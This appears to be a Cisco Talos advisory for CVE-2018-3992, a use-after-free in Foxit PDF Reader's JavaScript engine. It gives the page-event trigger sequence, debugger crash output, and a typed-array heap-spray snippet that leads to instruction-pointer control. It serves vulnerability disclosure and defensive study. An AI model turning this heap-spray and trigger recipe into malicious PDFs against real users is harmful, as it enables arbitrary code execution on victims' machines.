CVE-2018-3992
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.2.0.9297.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
A multi-page PDF document can have JavaScript actions attached to “page open” and “page close” events. When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Changing a page at a precise moment after the document is closed can lead to a use-after-free condition.
In the attached PDF, the “document open” action puts the first page in focus which executes its “page open” action. This “page open” action then sets the focus on the second page which, in turn, executes the “close” action of page one. That action closes the document, which frees numerous objects, after which the page focus is changed and the use after free is triggered.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(1024.14a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=e060dffd edx=000610d0 esi=00000001 edi=104a8c10
eip=011d3121 esp=0027f930 ebp=0027f940 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626f1:
011d3121 8bb7fc010000 mov esi,dword ptr [edi+1FCh] ds:0023:104a8e0c=????????
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0027f940 011d303f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626f1
01 0027fa28 0312e993 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x6260f
02 0027fa4c 03129313 FoxitReader!CFXJSE_Arguments::GetValue+0x96f263
03 0027fac0 03129b86 FoxitReader!CFXJSE_Arguments::GetValue+0x969be3
04 0027fae0 764ac4b7 FoxitReader!CFXJSE_Arguments::GetValue+0x96a456
05 0027fb0c 764ac5b7 USER32!InternalCallWinProc+0x23
06 0027fb84 764acbe9 USER32!UserCallWinProcCheckWow+0x14b
Analyzing the heap state clearly shows that edi
points to a freed memory region. We can abuse typed arrays to try and fill the memory of the freed object. An object size of 0x20 suffices in this case:
global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0x20 );
var int32View = new Int32Array(global.arr[i]);
for(var j = 0; j <int32View.length ; j++){
int32View[j] = 0xeaeaeaea;
}
}
Loading the proof of concept in the Foxit Reader with pageheap disabled results in the following crash:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for FoxitReader.exe -
eax=eaeaeaea ebx=00000001 ecx=089a03e0 edx=38f9adcb esi=00000000 edi=089a03e0
eip=011cbd41 esp=002bf7c8 ebp=002bf7f0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b311:
011cbd41 8b583c mov ebx,dword ptr [eax+3Ch] ds:0023:eaeaeb26=????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002bf7f0 011d314c FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b311
01 002bf808 011d303f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x6271c
02 002bf8f0 0312e993 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x6260f
03 002bf914 03129313 FoxitReader!CFXJSE_Arguments::GetValue+0x96f263
0:000> u
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b311:
011cbd41 8b583c mov ebx,dword ptr [eax+3Ch]
011cbd44 895df0 mov dword ptr [ebp-10h],ebx
011cbd47 85db test ebx,ebx
011cbd49 0f84ef000000 je FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b40e (011cbe3e)
011cbd4f 8b03 mov eax,dword ptr [ebx]
011cbd51 8bcb mov ecx,ebx
011cbd53 ff9090000000 call dword ptr [eax+90h]
We can observe that the instruction immediately following the point of the crash makes an indirect call
with eax+0x90
being the target. Since the value of eax
is under control, this leads to direct instruction pointer control and ultimately arbitrary code execution.
2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.